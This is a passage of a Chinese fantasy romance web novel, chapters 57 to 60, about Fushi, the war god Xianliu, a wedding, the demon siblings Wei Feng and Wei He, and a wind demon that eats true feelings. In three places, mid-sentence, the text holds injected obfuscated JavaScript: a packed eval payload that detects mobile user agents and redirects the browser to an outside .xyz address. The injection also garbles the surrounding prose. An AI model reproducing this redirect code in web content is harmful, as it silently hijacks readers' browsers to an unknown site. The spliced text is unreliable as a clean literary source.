“又遭难了?!”扶西下意识地往最坏的地方想。 “不,好奇怪,昨夜我在山顶睡觉,山中忽然震动,再醒来时,就在这里了。” 会说话的麻雀,多少有点道行。 扶西仔细观察着这座假山,昨夜躲在院子里,有看到这假山吗? 扶西抬手有些警惕地走近,抬手覆住假山上的石块,冰凉的触感,极硬的质地。 视线再往下,假山之下没有任何装饰,只飘着些雾蒙蒙的云彩,扶西抬手一挥,得见真容。 这山底砖石散落,院子竟是生生被这山尖捅穿了,她若再往前一步,就会坠入深不见底的云层之中。 这是扶西山的山顶。 扶西咧嘴一笑,万万没想到,扶西山居然就在启明殿下,这样看来,她与献流本就是有缘分的。 “小麻雀,上来!” 麻雀扑棱着翅膀,落到扶西脑袋上。 她一整个跳到山石上,用双手紧紧抱住山尖,正欲滑下去,思索了一番,又跳了回来。 她得找个毯子,不然太硌了。 谁想脚步还未挪动,便有一把闪着寒光的长剑抵住了她的咽喉,顺着明亮的剑刃望去,来着正是觅影。 他一改往日的嘻嘻哈哈,此刻面容严肃,说出话来也是掷地有声:“谁许你进来的?” 神君忽变女身,此事突然,他可得好好守住启明殿,以防混进来什么牛鬼蛇神。 面前这人身形陌生不算,还鬼鬼祟祟的:“若不立刻滚,别怪我手中刀剑无眼。” 扶西笑得客气,许是长久处在没有修为的状态,认怂习惯了:“别别别!觅影,你仔细看看,我是扶西啊!” 觅影听完这句话,一个头两个大,果然迟疑了,他目光一寸寸扫过扶西,脑袋越来越偏。 此人一看就是男子,五官细究起来确实同扶西颇为相似,可…… 他的剑逼得更近了。 “那个药,献流给我的那个字药……” 觅影恍然大悟,立刻放下了剑,围着扶西转了两圈,啧啧称奇:“那药将神君变成了女人,我们还以为是让男人变女人的药,不想也叫女人变男人了。” 扶西重重点头。 “这里怎么会有假山?”觅影面露不解,“不对,你又来做什么?” 扶西撇撇嘴:“那是我与献流的事,你少掺和。” 她拍了拍觅影的肩头:“我的山捅穿了启明殿,我得回去看一眼。” 她跑进屋里熟门熟路地找了条毯子,将其往山上一抛,整个人又以极快的速度赶上毯子下坠的面,稳稳当当坐了上去。 “啊——” 她的声音越来越远,看得觅影愈发不解。 这都是些什么东西,他为什么觉得脑子嗡嗡响呢。 “觅影。” 献流不知道什么醒了,他见身旁扶西没在,忽而有些心惊,立刻披衣起身,却见觅影立在院心。 觅影立刻朝他行礼:“神君你醒了?” 献流点了点头。 觅影的视线却落在他脖颈上:“您受伤了!”他焦急起来,“怎么又青又紫,我去找药王!”言罢双脚就要飞起一样。 献流咳嗽两声,低头拢了拢衣襟,声音有些发颤:“回来!” 他眨了眨眼睛:“扶西呢?” “哦!”觅影指了指身侧的假山,“她说回扶西山去了。” 献流心头如遭重击,扶西离开得这么早,又这么快回了扶西山。 “她有留什么话给我吗?” 觅影仔细想了想:“没有。” 也不曾留下只言片语…… “那她有说什么时候回来吗?” 觅影想了想:“也没有。” 归期不定。 献流只觉得心头堵了一块大石头,呼吸不畅,昨夜的欢愉仿佛镜花水月,扶西的剖白历历在目,她怎么会突然回扶西山去呢? “我下去看看。” “神君!”觅影拦住他,“您如今变成这个样子,贸然离开天界,怕是不妥。” “没有不妥,修为尚在,不必为我忧心。” “嗖——”天边飞来一只五彩雀鸟,衔来了天君口谕,不等献流出声,它就张开将近一丈的翅膀,刷拉一下卷走了人。 同往常一样。 下一刻,献流已立在天君宝座阶下,他抬眼望过去,只见天君案前放着两件大红喜服,甚是扎眼。 她抬手抚了抚,抬手一挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558471|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,衣裳便整整齐齐地穿在了献流身上。 “倒也合身。”帝容笑意盈盈,看来对着喜服很是满意,“婚期将近,天界已许久不曾有这样的喜事了。” 献流原本还算平静的心此刻顿时搅起波涛:“师父,你这是答应我了?” 天君点点头:“凡事问心,只要你二人情投意合就是。” 献流按捺住内心的雀跃,双膝跪地,朝着天君重重一拜,语气郑重:“多谢师父。” 帝容点了点头:“你我师徒,何必言谢,今夜过后我要继续闭关,若没有旁的事,最好别来打扰我。” 献流膝行一步:“那成婚之日?” “自不会缺席。”帝容轻轻点了点头,起身就要离开。 末了,她似乎是想起了什么:“事事皆是你在我这里诉说,你可问过她,是不是心甘情愿同你成亲?” 听到这话,献流眼睫微垂,脑海里不受控制地出现昨夜的场景,扶西抱着他,说的话直白又大胆,这世上没有旁的人能比得上她。 他微笑着点了点头,忽而又想起扶西没留下只言片语,跑回了扶西山。 他得去一趟。 “师父,徒儿告退。” 只退出大殿,献流便直接赶往天外天,急行于云层之上。 天外天是离开天界前往其余各界的必经之处,这条熟悉的路,献流千万年间走了无数回,大多是出征。 而今日,却是要去见他喜欢的人,与从前迥然不同的心境也让他面上笑意拢不住,有时沉浸在从前的回忆里,有时又沉浸在这种新奇又快乐的情绪里,叫他一时分了神。 一片云彩径直朝他撞来。 哗啦—— 洁白的云彩瞬时碎裂,从中又出个牛高马大的男人,鼻孔出气,凶神恶煞。 “献流,你欺骗我兄妹,今日,就跟我回魔界去!” 献流肩头被重击一下,他抬眼,神色狠厉:“魔君卫风?” 卫风大睁的双眼忽而呆滞下来:“女,女,女人!”他下巴哆嗦,“仙子抱歉,我要拦的是那个狗屁倒灶的战神,不是你哈,抱歉抱歉。” 言罢他迈着五大三粗的步伐就要过来搀扶,却被献流一挥袖划破了脸颊:“你没认错。” 卫风抚着脸颊,迟钝地反应过来,他是以气息寻人的,已在天外天蹲守了好几个时辰,他细细打量一番面前的仙子。 他大爷的,献流为逃避捉捕,居然想出这样丢人现眼的办法:“你以为装作女人,我就会对你手下留情吗?” 献流冷哼一声:“是么?当日你装作饕餮偷袭我,此仇我还未报,卫风,你敢与我堂堂正正打一架吗?” 卫风闻此忍不住吞了吞口水,这,这:“我有什么好怕的!”言罢他将手中天魔杖又握得更紧。 献流没了无定,卫风觉得自己似乎还有胜算。 献流忽而腾起,赤手空拳,拳拳到肉,纵使没有无定在手,他也恍若无形的鬼影,卫风被围其中,抬着鼻青脸肿的面庞发怔。 或许是四海太平日久,他对献流的名号尊重不够,不过一盏茶的时间,卫风还没来得及使出自己的看家本领,就被献流踩着左娇踹倒在地。 “不过出了两分力,魔尊就不行了?” 卫风犹记得当日他扮作饕餮,麟寻特意与他讲过献流薄弱之处,他咬咬牙,用尽力气挣脱束缚,抬手击去。 黑色的魔流袭来,献流早已了然于心,怎么会让同样的事情发生两次。 卫风打了个空,又被献流击倒在地。 “你……” 献流面无表情地看着他:“卫风,此事我不出声,你便以为我不会追究吗?”他冷哼一声,“我不过是……” 胸口忽然传来一股陌生又奇怪的感觉,胃里翻江倒海,他分明不曾进食,为何? “呕——”他干呕一声,只觉得全身脱力,重重跌在云层上。 58. 三心二意 扶西双眼忍不住缓缓睁大,仔细琢磨起来卫和这句话。 她快速地眨着眼睛,终于叫卫和察觉出不对劲来,只见卫和长袖一飞,扶西便如释重负地咳嗽起来,挪动着僵硬的四肢大趴在榻上。 真是累极。 卫和却还看着她微笑:“身为男人,你虽不似献流冷若冰霜,却也算得上是俊美无双,本护法大人有大量,就原谅你了。”她朝扶西扬了扬下巴,“愣着干什么,还不快过来。” 言罢她抬起双臂,目光放在自己的衣襟腰带上,又睨了两眼扶西。 扶西不明所以,只好汲着靴子走过去,绕到卫和身后抬手重重替她拂去背上并不存在的灰尘。 “啪——刷——” 卫和眉头皱得更紧了:“你是听不懂人话,还是看不懂我的眼神?” 扶西缓了会儿,整个人还是跟个蔫吧的小白菜一样苦哈哈的:“护法,您误会了,是魔君他老人家把我抓到这里来的。” 卫和闻言撇了撇嘴,眉头紧锁,一把抓住扶西胡乱移动的手腕放在自己腰带上:“不管那么多了,无定不在,我还能怎么办?” 扶西吞了吞口水,脑子有些凌乱:“他不在,您就不想去找他吗?” 卫和摆摆手:“为了他我心力交瘁,不过牵着点儿人间的念想打算与他再续前缘,他既不肯,又临时改变主意弃我而去,我也没心思再继续找了。” “我去,我去帮您找!”扶西抬起亮晶晶的眼睛望她,“我现在就去!”言罢扶西便已悄悄摸到门前。 卫和勾了勾唇角,好整以暇地坐在床榻上翘起二郎腿:“好啊,你出去吧。” 扶西有些疑惑地抬手,缓缓朝门拴逼近,可不过刹那间,她整个人便不受控制地被金色的结界弹开,径直冲到了榻上,卫和的怀里。 卫和忍不住轻笑出声:“你瞧瞧,你出得去吗?” 扶西咬牙:“护法,我可是女人!” 卫和挑了挑眉毛:“你久居仙山,想来是不曾听过我的名号。” “听,听过一些吧……” 魔界右护法,魔尊小妹,容色倾城,法力高强,然后,就没有然后了…… “哈哈!”卫和又笑了两声,“我荤素不忌,男女不论,既然无定犹豫反悔,不如你我二人将世俗抛诸脑后,共赴巫山?”言罢她轻轻抬起扶西的手掌放到自己衣襟上。 扶西只觉得脑海中有一座大山正在缓缓崩塌,思考的能力几乎停止,可还是凭着本能:“不,不行!” “为何不行?”卫和缓缓凑近,“我问你,我美不美?” 扶西望着她那张精致的面庞,咬牙切齿,实在说不出假话:“美。” “那你看我的身材,好不好?”她一面说,一面将扶西的手又放到自己腰上。 “好。”扶西被火燎了似的撤回手,慌里慌张,手脚并用地爬起来半截,又被卫和按了回去。 “那不就行了。”她蹙起眉头,“啰里吧嗦,速战速决,我还有一堆的事呢。” 扶西抬手紧紧抱住自己,正欲抬起双脚重重往卫和腹上踹,门口却忽然传来闷重的碎裂之声。 伴随着一道黑得看不清的人影落地,屋里的桌椅板凳瞬时碎成齑粉,扬了满天。 “铮——” 长剑铮鸣之音久久不歇,一道洁白如雪的衣角滑进门槛,伴随着闪耀的金光,扶西伸长脖子朝门口望去。 “她在哪里?” 献流的声音! 扶西当即不再犹豫,趁卫和迷蒙的空档里,她抬手重重一推,将她推翻在地,快速朝献流奔去。 扶西动作太快,以至于献流只看到一大片翻飞的红色重重扑进自己怀里,摸索两下以后紧紧环住了他的腰身。 扶西将脑袋搁在献流的肩膀上,贪婪地吸了吸鼻子,献流身上淡淡的香味飘进脑袋里,她舒服了不少。 “太好了!你再不来,我就死定了!” 献流抬手,抚了抚她脑袋:“嗯。” 魔君卫风倒在地上,他捂着胸口,缓缓舔去唇角的血迹,用天魔杖撑着自己站了起来:“献流?呵!你,你怎么变成女人了!” 卫和魔怔一般就要跟那把破剑成亲,卫风嫌弃得要命,从前卫和看上的男男女女,好歹是人,这次看上的,竟然只是把剑! 他以为是卫和心属献流不得,故退而求其次,改睡他的宝剑。 这他如何能忍! 于是潜入天界,不想竟异常顺利,献流的启明殿中守兵不曾察觉。屋内一男一女,卫风看着那个面容冷若冰霜的女人,心中讶异,这献流平日里伪装得像模像样,竟也是个滥情的玩意儿。 如此,他自然没什么忧虑了,套了那男的就来,谁曾想,居然抓错了人。 “走,我带你回去。”献流抬手,看了眼扶西。 卫风望着他被面前这高挑身影遮得半点不剩的身形,冷哼一声:“我小妹是这六界顶好的女人,被她看上是你的福气!” 献流深吸一口气,抬手按了按她的脑袋,轻声道:“扶西。” “嗯?” “你挡着我,我,不太好跟他说话。” 扶西心领神会,立刻扎了个马步,双手依旧紧紧环在献流腰间,她把脑袋贴在献流胸膛上,听着他的心跳声逐渐加快。 献流轻笑了声。 卫风见此情形,愈发不爽,这人忙着调情,也不理他,他如何能忍? 握着天魔杖的手紧了又松,罢了,打不过。 “是吗?”献流微微眯了眯眼睛。 卫风瞧着他面容,忽而有些心焦起来,总觉得此人憋着一股劲,于是他后退两步,咳嗽两声。 卫和缓缓从地上起身,目光落在献流手间的长剑上,她出言呼唤,语气不虞:“无定。” 无定剑抖了两下,掉在了地上,光华流转间变作男人身形,他半跪在地,霭霭金光散去后方抬起一张写满迷惑不安的脸。 “护法。”他朝着卫和抱拳。 卫和垂着眼皮:“你若不愿意,直说便是,骗我做什么?” 无定眉毛快拧出花了,他望了眼献流,又望了眼卫和,一肚子的话在喉咙里打转,半晌才吐出个:“也不是。” 卫和咧嘴一笑:“那不就行了,快快起来,把扶西的身上的喜服穿过来,我们接着成亲。” “不!”无定站起来,往后退,“护法,我不会跟您成亲的,我意不在此,而且,而且,也十分厌恶争风吃醋,勾心斗角。” 卫和默了一瞬:“你都知道了?” 无定垂着脑袋点了点头。 卫和心中的烦躁显而易见地出现在脸上,她快步走到卫风旁边,掐了一把他的手臂:“兄长,是不是你说的?” 卫风十分嫌弃地拍掉她的手:“不是。” 无定想起昨夜之事,只觉得脸颊烧红,心头翻涌,到底是他涉世未深,居然被卫和蒙骗至此。 卫和与他回忆凡间种种,起初无定只记得些碎片,经卫和细细回忆,再配上她动人的嗓音,迷离的眸子,就在那一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600895|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他忽然觉得自己在人间的情谊并非虚妄。 一种莫名感动的情绪涌上心头,他有些分不清自己到底是在魔界还是在人间,情到深处,卫和按着他的手掌表白心意,字字恳切,还问他要不要和自己成亲。 说她愿意等。 气血上涌,头脑发热,无定忽然觉得不做剑也挺好,就这么答应了。 他辗转反侧到下半夜,直到有人轻手轻脚地推开了他的房门。 是个男人。长得姿容艳丽,媚眼如丝,弱柳扶风的身形,微微苍白的嘴唇。 明明是静谧安好的模样,却忽然从袖中掏出一把淬满了邪气的匕首,重重朝着无定刺下。 他叫嚣着:“凭什么!你凭什么与护法成亲!你不配!你不配!”他的嗓音尖锐,好似久朽的古琴,难听极了。 无定反手钳住他,厉声质问,那人却依旧疯狂地挣扎着:“护法最爱的人明明是我!她为我做了那么多,怎么可能轻而易举地爱上你!你是不是对她做了什么!放开我——” 无定给他施了静心咒,这人总算恢复过来,半晌,他恨恨地看着无定,笑道:“你根本不了解护法,她都是骗你的,她一点也不喜欢你!” 此人亮出了身份,他说自己叫风莹,是一只九尾狐妖,被魔族追杀多年,是卫和救了他。可因为卫和也是魔族,起初他戒心很强,多次逃跑伤人,可卫和非但从不与他计较,还悉心照顾,甚至远赴苦寒的北荒,为他求来雪灵芝,修复受损的尾巴。 卫和向他告白,他也慢慢敞开心扉,给予她一颗全然的真心。 然后,就再也没有然后了,卫和开始无视他,不理会他,就算他自怨自伤,卫和竟也无动于衷。 他便陷入了无尽的迷茫。 再后来,卫和又带回来了很多人,男男女女,她跟他们说着相似的话,做着相似的事,只为换取他们一颗拳拳真心。 原来,卫和同其他的魔族不一样,其他人靠魔气修炼,而卫和靠的是别人的真心。 “她都是骗你的,她不会喜欢上任何一个人。”风莹提灯走在前头,无定跟着他的步伐,绕过假山流水,亭台楼阁。 “此处安置着她带回来的那些人,被当做弃子后,有的万念俱灰,自寻死路,有的割袍断义,出走天涯,还有的像我一样,带着深深的怨念,不肯离开。” 无定听得有些头皮发麻,他望着那些听到动静缓缓打开房门,悠悠向他走来的人,有男有女,都是年纪轻轻的美人,可惜如今无一不是形容颓丧,恍若死尸。 他们迈着几乎整齐的步伐,在凌乱的发间抬起枯槁的双眼,缓缓朝无定逼近。 他后退好几步,脑海里已经翻涌得不像话了,卫和,卫和居然是这样的人。 他一点也看不出来。 那些人逼得更近,鬼魅的身形伴着几双树枝一样的手臂,缓缓朝无定抬起。 “不成了!这个婚我不成了!”他忍不住叫出声,嗖的一下变回长剑,往天空飞去。 此刻,无定再抬头去看卫和,只觉得她周身满是戾气,以爱意为饵,用欺骗换取真心,真是太造孽了。 “护法玩弄感情,换取别人的真心供自己修炼,虽不是什么伤天害理的事,可有悖道德。”无定顿了顿,“我不能阻止你,但还是想劝劝你,一定还有别的办法可引魔气入体修炼,护法还是趁早舍了这害人害己的事吧。” 卫和眉头蹙得更深。 “你在说些什么?什么真心?什么魔气?”卫和转向自家兄长,“你听懂了吗?” 59. 59 卫风满脸嫌恶地摆手,卫和整日里净做这些乱七八糟的事,他看着也烦:“你就不能安生些吗?和和顺顺地找个正经人成亲,别老一天到晚四处招惹些烂桃花。” 他重重挥了挥袖:“再有下次,我绝不帮你,管你跟谁好!”他冷哼一声,作势就要踏出房门,却被献流横手挡住。 “魔君此前作为,估计是要与我去一趟天罚司了。”他声音冷冷的,毫无感情可言,波澜不惊的眸子里映着卫风缓缓睁大的双眼。 卫风深吸一口气:“去就去,不过,再去之前,我要去躺西海。”他望着献流,“此事可是由你师妹一手谋划,难不成你要偏私吗?” 听到他要去西海,卫和肉眼可见地有些无措:“万事以和为贵,兄长何必再去,不过是平添烦恼,至于罪罚,自有天罚司裁定……” 扶西眨巴着眼睛,想来卫风还不知道卫和扮作他的模样,已到西海闹过一场了。 无定盯着卫和,面色明显不满,心情更是一落千丈,事到如今,他已知晓真相,卫和却还是不肯承认,他只觉得胸口堵的难受。 “我来了!我来迟了!护法——” 伴随着先飞入房中的清丽男声,一道红色的身影挤开众人,径直朝卫和怀中扑去,他抬起一张泫然欲泣的精致面庞,朝卫和投去连绵不绝的秋波。 “风莹?”卫和蹙眉。 “护法,魔界张灯结彩,万民同庆,难道不是你要来和我成亲吗?”他双眼大睁,不复方才的柔弱姿态,殷红的口唇怪异而疯狂的扭曲着,他抬手攀上卫和的脖颈,作势就要狠狠咬下去。 卫和反应过来,什么真心,魔气,修炼等词语串成一串,在她脑袋里荡来荡去。 她大喝一声:“遭了!诸位快走!” 却是来不及了。 风莹贪婪地嗅闻着,微笑着感叹:“好迷人的味道,好诱人的真心!可惜好像不是护法身上的……”他鼻翼扇动,似一头饥迫的恶狼,缓缓辨别着食物的气息。 献流抬起手掌。 卫和出言制止:“法术对他无用,别激怒了他!” 可惜献流掌中已然金光大作,火焰喷射,炽热的光芒过后,风莹正抬着一样状似委屈无奈的脸,悄然来到了扶西身侧。 “好大的脾气~”他声音娇嗔,手掌却在刹那间缓缓覆上了扶西的肩头,他深吸一口,“好美味的真心。” 卫风上前:“这是生长在魔界禁地的风妖,无形无影,寻常法术兵器不能伤他分毫,你们所看到的,也只是他的虚影。” 卫和:“以真心为食修炼,正是此妖。” 风莹哈哈笑了两声,手指已化作尖锐的利刺没入扶西肩膀之中,她却毫无察觉。 因为根本不疼!也没出血。 无定愣住,他抬手指着风莹,语无伦次:“昨夜,昨夜正是他与我说……” “说我朝三暮四,三心二意?” 无定不答。 那风莹却冷哼一声:“要成亲的两个人,没一个怀着真心的,这亲有什么好结的,趁早散了吧!” 此言一出,无定与卫和对视一眼,又迅速分开。 风莹带着扶西样屋外挪动,献流怒喝:“放了她!” “我不放,等我吃饱了再说。” “我换她。”献流咬牙切齿。 “我不换,你那么凶,谁知道会不会打死我。” 献流飞身上前,一把抓住扶西的双手,情急之下,抬脚就往风莹胸口上踹。 可惜踹了个空。 他抬手掐诀,身旁剑光翻飞,竟也不能伤那风莹分毫。 好奇特的妖怪。 “就让他吃一顿吧,没什么的。”卫和道,“魔界中人,没被风妖吃过真心的极少。” 扶西捂住脑袋,和身后人商量:“我的真心很难吃。” “真心没味道。”他淡淡道。 狂风四起,沙尘紧随其后,疯狂旋转的各色事物被卷上天空,扶西只感受到衣角猎猎作响,身后如云如雾的妖怪化作一阵看不清的风,哗啦一下,卷走了她。 献流望着空荡荡的掌心,一股怒气直冲头顶,挽得妥帖的发髻里都炸出了四五根杂毛。 “魔界深受此患,为何不上报天界!” 卫和摆摆手:“神君多虑了,这风妖伤不了人,身上连点油皮也不破的。” 献流逼近一步,满目怒气:“那他吃真心做什么?怎么会什么影响都没有!” “是失忆?还是失情?” “就是忘却一段感情罢了,记忆什么的都无妨,神君不必担心。” 献流只觉得自己仿佛变成了石雕,正一块块地碎裂开来。 “我也常被他们偷袭,并未觉得有什么不妥啊?”卫和微微笑着,意图安抚。 献流冷眼看着,怪不得说魔界众人寡情寡意,从前只以为是天生的,真心被狗吃了,没想到是被风妖吃了。 无定自觉变回长剑模样,落到献流手中。 “哪里可以找到风妖?”献流蹙眉,语气不快。 “居无定所,他们吃完了,就会自己把人送回来。”卫和勉强笑了下,望着无定剑的眼神愈发心虚。 * 扶西是在一处山洞醒来的,她揉着酸痛的脖颈,缓缓坐了起来。 这山洞里只有点昏暗的日光,耳畔传来滴滴答答的水声,扶西循着声音转身,却被一堵“人墙”挡住了去路。 她吓得往后退了两步。 听到动静,那堵墙缓缓转过身来,笨拙的身躯,被摊开的身体和脸蛋,几乎只有一指厚薄的身体。 这不是一堵墙,就是块面皮罢了! 那人的脸被摊成一片,扭曲的眉尾,烦躁的眼睛:“你怎么就醒了?” 扶西耳廓动了动,好熟悉的声音。 她细细打量着此人的衣裳首饰,又在那张变形的脸上逡巡许久,终于反应过来。 “薛介!是你?” 薛介扶西居然识得自己名号,眼神里露出点明显的无措与闪躲,他后退两步,结结巴巴:“胡说八道,我,我不是……” 他咳嗽:“薛介可是声名远扬的美男子!” 扶西上前,本欲按住他肩膀,却被硌得收回了手掌:“我是扶西啊,我认得你,你就是薛介!” 薛介的眼睛睁得越发大了,他打量着扶西身形容貌,不可置信地摇了摇头,他分明记得,在人间所遇的扶西道长,是个实打实的姑娘,此刻,此刻怎么成了个男人! “真的是我,你当时骗我木石之心,还记得吗?” 薛介吞了吞口水,想起正是此人指使石台将自己踩成了一张饼,心中恨意汹汹。 “若非你,我怎么会变成如今这副丑陋的模样!”薛介声音一如从前,尖锐又沙哑,“你赔我的脸!” 扶西叉腰:“分明是你行骗在先!” 薛介不甘示弱,亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636863|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叉腰走近:“明明是你抢我功劳在先!” 扶西哼了一声:“你同那风妖什么关系,莫非你也能以真心为引,进而修炼?”她又逼近,“你好歹是神仙,怎么能做这样的事?” 薛介抬起下巴:“与你何干?”他朝着洞外呼唤,不一会儿,那风莹果真走了进来,一脸的顺从。 “仙君。”他抬头,面容已不似方才的疯魔妩媚,很是谄媚,“我这就动手。” 扶西连忙后退,可以这风妖果真就是一阵风,避无可避,轻轻拍到她胸膛上。 掏心掏肺? 连根拔起? 生?还是死? 扶西有些紧张。 不想身上没有痛苦,没有血迹,什么变化都没有,那团风化作人形伏在薛介面前。 “仙君,她就是个壳子,里面什么都没有。”风莹很是不解,几次三番,确认无误,这才敢开口。 薛介像螃蟹似的打横绕着扶西看,恨铁不成钢:“你不也是神仙,怎么只是个空壳子,你的真身呢?” 哎呀! 扶西咧嘴笑开,她的真身在献流那里呢,至今没拿回来,没想竟在今日起效。 “仙君。”风莹很是担忧,又凑到薛介身边,“你答应带我飞升,万万不能食言啊!” 薛介点了点头,得到了满意的承诺,风莹又转身化作一阵风,意欲卷起扶西,将她丢回去。 “且慢!”薛介拦住他,“此情此景甚是少见,我倒是要探一探,你嗅到的真心,究竟被她藏在哪里。” 扶西骤然想起,此刻她的修为已然恢复,虽不能对付风妖,但能试着对付下薛介啊。 于是乎她抬起有些陌生的手掌开始催动仙力,趁着薛介缓缓靠近的空档里回忆曾经用过的法术。 千里之外,献流的胸口开始缓缓发热,渐渐愈重,好似火燎,他抬手覆住衣料之下滚烫的心脏,呼吸变得粗重起来。 扶西指尖开始变幻,从肉色的指甲化作细小的藤条,逐渐生长。 献流抬头,问站在他对面的卫和:“扶西真身在我体内,此刻热意汹涌,是……” 卫和抬手:“定是那风妖在攫取她心中情感,哈哈,无妨,不伤皮肉。” 薛介深一脚浅一脚地挪过来,眸色晦暗,充满探究。 够近了。 扶西出手,无数的藤蔓迅速生长,快速将薛介这块扁扁的人包裹起来,让他挣扎不得。 “带我回去!”扶西一面威胁,一面收紧。 献流感受到热意愈发澎湃,开口告诉卫和。 “啧,这应该是扶西在苦苦抗争。” 献流觉得很是揪心。 薛介干巴巴笑了两声:“大家都是地仙,何苦互相为难。” “是你先为难我。” “可是你把我踩扁了,至今没有恢复!” “那还不是因为你欺骗我。” “那还不是因为你抢占了我的功劳,活神仙本该我当的。” “你强词夺理。”扶西咬牙切齿。 “你仗势欺人。” “风莹——” 风莹神色急切,小跑上来。 “带我回去,不然我勒死他。” 献流感受到胸膛中的热意渐渐平息,好似一潭死水。 “估计是掏完了。”卫和道。 献流心头微凉,那就意味着,拥有全部记忆却薄情的扶西就要回来了。 60. 给你五百万 耳畔传来水滴坠落的声音,淅淅沥沥,扑面而来的潮气冰冷阴湿,无定只觉得头痛欲裂,眼皮上像坠了千万斤的巨石。 “恩公!你可算醒了!” 模糊不清的视线里出现了一篇薄薄的板子,上头隐约可见被拉长的五官,那人嘴唇启阖,面上的雀跃之情显而易见,无定一惊,终于看清了。 来人通体不似正常人,扁得只有一指厚薄,全身被铺开延展,一只眼睛足有小臂那样长,偏偏他嘴唇殷红又巨大,十分可怖。 饶是见过许多大场面,无定也被眼前这奇异的生物吓了一大跳:“你是何人?” 那人舞动着木板一样的手臂,激动得绕着无定打转:“是我,是我啊,我是薛介。” “薛介?”无定此刻脑海混沌一片,在凌乱不堪的记忆里搜寻了半晌,终于模模糊糊记起薛介的名号,“你,是你?” 薛介上前扒住他的手指:“从前在人间,你救我一回,杀我一回,此刻我又救你一会,你还欠我一回。” 无定被他绕得糊涂,自己得记忆还停留在昨夜那个电闪雷鸣的夜里,卫和在月光下微笑着催动他体内的蛊毒,丝毫不顾及他的意愿。 “听闻献流的婚事将近,这样一件大喜事,怎么也不来通知你呢?”她笑得开朗,百年的天罚她似乎毫不在意,“那年瑶池上,我虽是先看上的献流,可他还是太无趣了,再者我不喜用别人用过的东西,还是你比较有趣。”言罢,她趁着毒性发作,无定全身瘫软之际用手指抬起他的下巴,逼迫他与自己对视。 “你来魔界百年,痴心守候,连归天都忘了,任谁看了不说一句情深意重。” “好事成双,不如明日我们也成婚吧,这样,我就可以名正言顺地将你留在魔界。” 无定额间渗出几滴冷汗:“卫和,凡尘……凡尘诸事,皆是命书所致,并非真正的你我,你又何必执迷不悟。” “你多虑了。”卫和竟笑出声来。 无定按住身体中几乎撕心裂肺的疼痛:“你,你……” “从小到大,我想要的东西,看上的人,就没有拿不到手的。”她依旧笑着,眼底却没什么波澜,“你总是这样拒绝我,我很没面子,再者,我自然也是因为思念你,不然为何天罚一结束就来寻你呢。” “你没跑掉,我真是太高兴了。” 无定环顾四周,冰冷的暗室不见天日,神君在百年间也不曾召唤他,想必真是以为他与卫和因凡生情,决心留在魔界了。 “我问你,愿不愿意和我成亲?” 卫和的话将他从游离的思绪中剥离,身体又因蛊毒带来阵阵疼痛;“我,我,不,啊!” 剧烈的疼痛。 卫和依旧笑意盈盈:“想好了再说嘛,急什么。” 腹中翻江倒海,血气森森,无定口中间或有鲜血溢出,他死咬牙关,不肯说出卫和期望的词句,身上的痛楚更甚,使得他整个人的神志都开始有些不清楚。 他记起当时自己是如何懵懵懂懂跟随卫和来到魔界,凡世的经历不曾忘却,那些曾经拥有过的情感不时冲击着他的脑袋,起初他甚至真的觉得自己与卫和两情相悦,这是缘分。 可卫和滥情,四处拈花惹草,时不时就有老情人上门讨回公道,更有丧心病狂者趁他熟睡之际前来刺杀,烦不胜烦。他的澎湃也在时间流逝中渐渐归于平静,下凡历劫的种种不过是命书造就的因由,根本不是他自己的业果。 弃去凡思的自己才是真正的自己。 谁想卫和却不这么觉得,甚至在假意送他离开魔界的时候下了暗手,种下蛊毒,在天罚降临前将他软禁在了密室之中。 她说:“一定要等我回来。” “怎么,说出心中所想,就这么难?”卫和带着嘲讽的声音将他拉回了现实,胸腹之中的痛意游走经脉,连指尖都疼得好似火烧。 “我,我,不……愿……” “啊——” 卫和的耐心显然将要耗尽,她一字一句,语气依旧轻佻:“听不清,你再说一遍。” 再这样下去,他估计会生生疼死吧,无定这样想着,神思不过放松片刻,口中词句便如水般滑了出来:“我,我愿意。” 翻涌的疼痛瞬时消失殆尽,无定满头是汗地跌坐在地,不住喘息,卫和拖着及地的长裙缓步过来,轻轻拥住他的背,轻声道:“太好了,我就知道,你也是喜欢我的。” 无定不由得打了个冷战。 “恩公,恩公,我既救了你,你可得帮帮我啊。” 薛介的声音将无定从回忆中抽离,他抬眼望去,嗓音有些哑:“你要我怎么帮你?” 薛介将自己的身体翻了个面,无死角地展示了一通,挥着帕子的手想挪到颊边拭泪,却够不着,多少有些滑稽:“我被踩扁成这样,不知为何就是恢复不了,你见多识广,看在我将你救出来的份上,帮帮我吧!” “都怪那个死山君,那块破石台!” 